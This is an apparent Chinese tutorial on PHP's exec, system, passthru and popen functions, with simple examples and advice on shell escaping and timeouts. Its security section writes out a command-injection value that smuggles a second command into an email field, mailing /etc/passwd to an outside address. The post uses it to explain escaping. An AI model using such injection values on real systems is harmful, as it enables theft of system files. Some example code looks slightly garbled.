PHP给给我们提供了三种内置函数 exec,system,passthru用来执行系统命令.
1. exec
exec(string $command[,array $out_put][,$ret_val]);
第一个参数是我们需要执行的命令,第二个参数是最后一条shell命令的结果.第三个参数是返回执行的状态,返回0 执行成功
例如:
1
2
3
4
5
|
<?php
exec
(
"/bin/ls"
,
$arr
,
$retval
);
print_r(
$arr
);
echo
$retval
;
?>
|
输出
Array
(
[0] => index.html
[1] => info.php
[2] => php.core
[3] => test.php
)
状态码:0
2.system
system(string $command[,int $ret_val);
第一个参数是我们执行的系统命令,第二个参数是状态,该函数会输出最后一条shell执行的结果
例
1
2
|
system(
"/bin/ls"
,
$retval
);
echo
$retval
;
|
输出结果
index.html
info.php
php.core
test.php
状态码 0;
3.passthru
passthru(string $command,$retval);
第一个参数系统执行的命令,第二个参数是状态码.
该函数不输出任何内容.
1
2
|
passthru
(
"/bin/ls"
,
$retval
);
echo
$retval
;
|
结果 0;
4.popen
resource popen ( string $command , string $mode );
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
该函数返回一个管道句柄,可以用来读和写.
该管道可以用pclose来关闭.
1
2
3
|
$fp
=popen(
"/bin/ls"
,
"r"
);
$str
=
fread
(
$fp
,1024);
pclose(
$fp
);
|
输出结果
index.html
info.php
php.core
test.php
执行系统命令,我们需要考虑两个问题
第一 安全性,第二 超时.
我们在开发的时候有个原则,用户输入的内容是绝对不可信的.我们必须要过滤恶意用户提交的非法内容.
比如你有个系统…需要给用户发邮件….
如果调用Linux的mail来发邮件..就像这样
system(“mail $to <A.TXT");
而邮箱地址是用户输入进来的数据...
那么..如果有恶意用户.提交这样的代码
'–bla ; mail imsiren@imsiren.com < /etc/passwd ;'
!!!!!!!!!!
你是不是会吓出冷汗...
这条代码会执行为
system("mail -bla;mail imsiren@imsiren.com < /etc/password ;<A.TXT");
PHP提供了两个函数用来解决这个问题.
escapeshellarg()和escapeshellcmd();
escapeshellarg用来过滤 shell的参数,给特定的字符串加上单引号
escapeshellcmd用来过滤 cmd命令. 把特定的字符串转义.
这样命令和参数就安全的被执行.
超时问题:
由于PHP语言的特性,它需要一条一条的执行代码.
那么 加入这个system执行的时间需要很长,那么肯定会造成PHP脚本执行超时.
解决办法把命令的输出重定向到另外一个文件或流中,如:
system(“/etc/bin > /tmp/null &”);
这样就OK了.